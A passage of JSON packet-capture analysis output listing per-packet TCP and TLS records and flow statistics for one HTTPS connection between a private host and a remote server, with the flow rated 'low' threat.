[\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38524, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507095589, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 26, \"timestamp\": 1781446607.518637, \"timestamp_iso\": \"2026-06-14T19:46:47.518637\", \"timestamp_human\": \"2026-06-14 19:46:47.518\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38525, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507095590, \"tcp_ack\": 251460785, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 27, \"timestamp\": 1781446607.520282, \"timestamp_iso\": \"2026-06-14T19:46:47.520282\", \"timestamp_human\": \"2026-06-14 19:46:47.520\", \"size\": 257, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38526, \"ip_len\": 243, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507095590, \"tcp_ack\": 251460785, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 32, \"timestamp\": 1781446607.843327, \"timestamp_iso\": \"2026-06-14T19:46:47.843327\", \"timestamp_human\": \"2026-06-14 19:46:47.843\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38527, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507095793, \"tcp_ack\": 251464201, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 34, \"timestamp\": 1781446607.843484, \"timestamp_iso\": \"2026-06-14T19:46:47.843484\", \"timestamp_human\": \"2026-06-14 19:46:47.843\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38528, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507095793, \"tcp_ack\": 251465153, \"tcp_window\": 1020, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 35, \"timestamp\": 1781446607.861054, \"timestamp_iso\": \"2026-06-14T19:46:47.861054\", \"timestamp_human\": \"2026-06-14 19:46:47.861\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38529, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507095793, \"tcp_ack\": 251465153, \"tcp_window\": 1020, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"6104e85501b26026694c7f0113d68b52643fe0c0017e9a46508fd4a43d00271b0a53ccfff508da2ff0c5b95641945cce7ff5ba515214e5237aab8a0c87e8904f6604ba03f6e3e24202f1118f51b4aa531ee830301ebab89e929ffcc002b8f5e4fedb\", \"payload_ascii\": \"a\\u0004U\\u0001`&iL\\u007f\\u0001\\u0013Rd?\\u0001~FP=\\u0000'\\u001b\\nS\\b/VA\\\\\\u007fQR\\u0014#z\\fOf\\u0004\\u0003B\\u0002\\u0011QS\\u001e00\\u001e\\u0002\"}, {\"packet_number\": 38, \"timestamp\": 1781446608.123122, \"timestamp_iso\": \"2026-06-14T19:46:48.123122\", \"timestamp_human\": \"2026-06-14 19:46:48.123\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38530, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507095951, \"tcp_ack\": 251465580, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 39, \"timestamp\": 1781446608.139272, \"timestamp_iso\": \"2026-06-14T19:46:48.139272\", \"timestamp_human\": \"2026-06-14 19:46:48.139\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38531, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507095951, \"tcp_ack\": 251465580, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 41, \"timestamp\": 1781446608.139313, \"timestamp_iso\": \"2026-06-14T19:46:48.139313\", \"timestamp_human\": \"2026-06-14 19:46:48.139\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38532, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507096038, \"tcp_ack\": 251465580, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 43, \"timestamp\": 1781446608.139343, \"timestamp_iso\": \"2026-06-14T19:46:48.139343\", \"timestamp_human\": \"2026-06-14 19:46:48.139\", \"size\": 168, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38533, \"ip_len\": 154, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507096076, \"tcp_ack\": 251465580, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 46, \"timestamp\": 1781446608.446932, \"timestamp_iso\": \"2026-06-14T19:46:48.446932\", \"timestamp_human\": \"2026-06-14 19:46:48.446\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38534, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507096190, \"tcp_ack\": 251465618, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 48, \"timestamp\": 1781446608.471047, \"timestamp_iso\": \"2026-06-14T19:46:48.471047\", \"timestamp_human\": \"2026-06-14 19:46:48.471\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38535, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507096190, \"tcp_ack\": 251466664, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 49, \"timestamp\": 1781446608.472079, \"timestamp_iso\": \"2026-06-14T19:46:48.472079\", \"timestamp_human\": \"2026-06-14 19:46:48.472\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38536, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507096190, \"tcp_ack\": 251466664, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 52, \"timestamp\": 1781446608.825953, \"timestamp_iso\": \"2026-06-14T19:46:48.825953\", \"timestamp_human\": \"2026-06-14 19:46:48.825\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38537, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507096254, \"tcp_ack\": 251467326, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 53, \"timestamp\": 1781446608.830193, \"timestamp_iso\": \"2026-06-14T19:46:48.830193\", \"timestamp_human\": \"2026-06-14 19:46:48.830\", \"size\": 164, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38538, \"ip_len\": 150, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507096254, \"tcp_ack\": 251467326, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 56, \"timestamp\": 1781446609.108959, \"timestamp_iso\": \"2026-06-14T19:46:49.108959\", \"timestamp_human\": \"2026-06-14 19:46:49.108\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38539, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507096364, \"tcp_ack\": 251467955, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 120, \"timestamp\": 1781446614.963969, \"timestamp_iso\": \"2026-06-14T19:46:54.963969\", \"timestamp_human\": \"2026-06-14 19:46:54.963\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.104.62.178\", \"ttl\": 128, \"ip_id\": 38540, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63966, \"dst_port\": 443, \"tcp_seq\": 507096364, \"tcp_ack\": 251467955, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 16, \"PSH\": 7, \"RST\": 1}, \"packet_sizes\": [66, 54, 257, 54, 54, 212, 54, 141, 92, 168, 54, 54, 118, 54, 164, 54, 54], \"inter_packet_intervals\": [0.0002658367156982422, 0.0016450881958007812, 0.323045015335083, 0.00015687942504882812, 0.017570018768310547, 0.2620680332183838, 0.01614999771118164, 4.100799560546875e-05, 3.0040740966796875e-05, 0.307589054107666, 0.02411484718322754, 0.001032114028930664, 0.35387396812438965, 0.0042400360107421875, 0.2787659168243408, 5.855010032653809], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 7.445597887039185, \"avg_packet_size\": 100.23529411764706, \"packets_per_second\": 2.28322832604115, \"bytes_per_second\": 228.8600627984776, \"min_packet_size\": 54, \"max_packet_size\": 257, \"median_packet_size\": 54, \"avg_interval\": 0.46534986793994904, \"min_interval\": 3.0040740966796875e-05, \"max_interval\": 5.855010032653809}, {\"source\": \"40.104.62.178\", \"target\": \"10.152.152.11\", \"packet_count\": 15, \"total_bytes\": 7992, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\", \"_TLSEncryptedContent\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [63966], \"first_packet\": 1781446607.518392, \"last_packet\": 1781446609.108755, \"packets\": [{\"packet_number\": 25, \"timestamp\": 1781446607.518392, \"timestamp_iso\": \"2026-06-14T19:46:47.518392\", \"timestamp_human\": \"2026-06-14 19:46:47.518\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251460784, \"tcp_ack\": 507095590, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 28, \"timestamp\": 1781446607.520285, \"timestamp_iso\": \"2026-06-14T19:46:47.520285\", \"timestamp_human\": \"2026-06-14 19:46:47.520\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40047, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251460785, \"tcp_ack\": 507095793, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 31, \"timestamp\": 1781446607.843144, \"timestamp_iso\": \"2026-06-14T19:46:47.843144\", \"timestamp_human\": \"2026-06-14 19:46:47.843\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40048, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251460785, \"tcp_ack\": 507095793, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 33, \"timestamp\": 1781446607.843346, \"timestamp_iso\": \"2026-06-14T19:46:47.843346\", \"timestamp_human\": \"2026-06-14 19:46:47.843\", \"size\": 1006, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40051, \"ip_len\": 992, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251464201, \"tcp_ack\": 507095793, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 952, \"payload_preview\": \"8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f0798160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303630393037313930305a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd1702100590cbd365667f4104a9a2690c5b7c738000180f32303236303630393037303330305aa011180f32303236303631363036303330305a300d06092a864886f70d01010b0500038201010076dd3027af599ae4dc943a023571859d262b997069f396f5dfb7359d2d3daa239e6c87685a06c6be9a49ee04fa0f53367f0a231e548b5fd87fe5cfada28d4c6cc34445b59b0bbe2b6dec7cfbb9373aded13898662846a2280e779948cc10eebb08205a5d3f802a7c64e4699270a033b4fdd97426e4c17df588644c53b3bc52068ccb04ac98b52b748cb81b0dbd0193b43efc371ee85bc813c0e12f3e16518de198ddeb7eb4e54c68e0e24f9e2b6df30d119d4f7e32f8d4d41e95e478650436ee80abd67ddf1a5d29f622d7b2059198a234a0c347f050cb04e3d256d693e0ff22ea93af535191075da94d9fccee5fa10ac6eb3d4f215be9e1994d0d20dc59f96c0c00016903001861042e74035708cb762d105982cf19ef58e03da62139700b07784befcff8feb10d9606b4a626944c163bafed1688142f2f7c35cb3b3644f40a44e17aa28f7d4e9c400b975c782e0500b781b3631324758fbcffbf4fcedda4856d0649740793b6d620080401008b7c5eca0e2efe5cc1e4fb34753db07568d21c904569ba88b47b2a809802e21d0b713b21234dc49e9c0e4e58b9f24b6f5b6a02acdb1960072c163d62e1c492c06a434d04ef07313bd6f16323f31093191569e08025b25748ffa71d822392373e8656d7d3eb205dd2b54b6ab80a37239649cd585ba7381eb8323d2918ffe477b67da43d2cf9c5e518bd4b3dfef11dd4a168d0f06efab126764e764516527d731b8ad42f57c3e30c3ea9b20b5eb456612eb7d73ca7249502c880ea71b1ec7dd8b2e053ec853520db271b8a7ea469d87ec8b8499f81021af32422a906d7803ddfcdbe93ca81bc1797cdebeecdc35cbe8e6b812b18664b620f9f71adb375f8698bf90e000000\", \"payload_ascii\": \"]Fm\\\\'~R7|*UZ8r\\u0010\\u0000\\u0013Ls75)iv\\u0018{g\\u0003\\u0004Z!\\u0016?Y#\\r$*%Ltm@\\u0007\\u0016\\u0000\\u0001\\u0001\\u0000\\u00010\\u0001\\n\\u0001\\u0000\\u00010\\u0001\\u0006\\t+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001\\u0001\\u0004\\u00010\\u00010\\u0016\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0018\\u000f20260609071900Z0s0q0I0\\t\\u0006\\u0005+\\u000e\\u0003\\u0002\\u001a\\u0005\\u0000\\u0004\\u0014[X\\u001e:ioH\\u0004\\u0014tf7)7\\u0003\\u001d\\u0017\\u0002\\u0010\\u0005ef\\u007fA\\u0004i\\f[|s\\u0000\\u0018\\u000f20260609070300Z\\u0011\\u0018\\u000f20260616060300Z0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u000b\\u0005\\u0000\\u0003\\u0001\\u0001\\u0000v0'Y:\\u00025q&+pi5-=#lhZ\\u0006I\\u0004\\u000fS6\\u007f\\n#\\u001eT_\\u007fLlDE\\u000b+m|7:8f(F(\\u000ewH\\u0010\\b Z]?*|dip3t&}dLSR\\u0006\\u0004+t\\u001b\\r\\u0001>7\\u001e[\\u0013/>\\u0016Q~LhO+m\\r\\u0011O~2\\u001exe\\u00046}\\u001a])\\\"\\u00054GP\\u0004V\\\"SQ\\u0007]M_\\n=O![M\\r Yl\\f\\u0000\\u0001i\\u0003\\u0000\\u0018a\\u0004.t\\u0003W\\bv-\\u0010Y\\u0019X=!9p\\u000b\\u0007xK\\r\\u0006&L\\u0016;\\u0016\\u0014//|5;6D\\nDz}N@\\u000b\\\\x.\\u0005\\u0000c\\u0013$uOm\\u0006It\\u0007 \\b\\u0004\\u0001\\u0000|^\\u000e.\\\\4u=uh\\u001cEi{*\\u0002\\u001d\\u000bq;!#M\\u000eNXKo[j\\u0002\\u0019`\\u0007,\\u0016=bjCM\\u0004\\u00071;c#\\u0010\\u0019\\u0015i%WH\\u001d#7>V ]Kj\\n7#IX[8\\u001e2=)\\u0018w}=,\\u0018K=\\u001dhn&vNvE\\u0016R}s\\u001b/W\\f>\\u000b^Va.<$\\u0002q}S5 '\\u001b~i~I\\u0002\\u001a$\\\"\\u0006=\\u0017\\\\k+\\u0018fKb\\u000fqui\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 36, \"timestamp\": 1781446607.861066, \"timestamp_iso\": \"2026-06-14T19:46:47.861066\", \"timestamp_human\": \"2026-06-14 19:46:47.861\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40052, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251465153, \"tcp_ack\": 507095951, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 37, \"timestamp\": 1781446608.122949, \"timestamp_iso\": \"2026-06-14T19:46:48.122949\", \"timestamp_human\": \"2026-06-14 19:46:48.122\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40053, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251465153, \"tcp_ack\": 507095951, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 32, \"payload_preview\": \"b1eea09b125fb74cfcb3915a2150d87afbb73818a31dd8ea0790540dc5c7fbd2\", \"payload_ascii\": \"\\u0012_LZ!Pz8\\u0018\\u001d\\u0007T\\r\"}, {\"packet_number\": 40, \"timestamp\": 1781446608.139285, \"timestamp_iso\": \"2026-06-14T19:46:48.139285\", \"timestamp_human\": \"2026-06-14 19:46:48.139\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40054, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251465580, \"tcp_ack\": 507096038, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 42, \"timestamp\": 1781446608.139323, \"timestamp_iso\": \"2026-06-14T19:46:48.139323\", \"timestamp_human\": \"2026-06-14 19:46:48.139\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40055, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251465580, \"tcp_ack\": 507096076, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 44, \"timestamp\": 1781446608.139346, \"timestamp_iso\": \"2026-06-14T19:46:48.139346\", \"timestamp_human\": \"2026-06-14 19:46:48.139\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40056, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251465580, \"tcp_ack\": 507096190, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 45, \"timestamp\": 1781446608.44663, \"timestamp_iso\": \"2026-06-14T19:46:48.446630\", \"timestamp_human\": \"2026-06-14 19:46:48.446\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.104.62.178\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 40057, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63966, \"tcp_seq\": 251465580, \"tcp_ack\": 507096190, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 47, \"timestamp\": 1781446608.470858, \"timestamp_iso\": \"2026-06-14T19:46:48.470858\", \"timestamp_human\": \"2026-06-14 19:46:48.470\", \"size\": 1100, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": 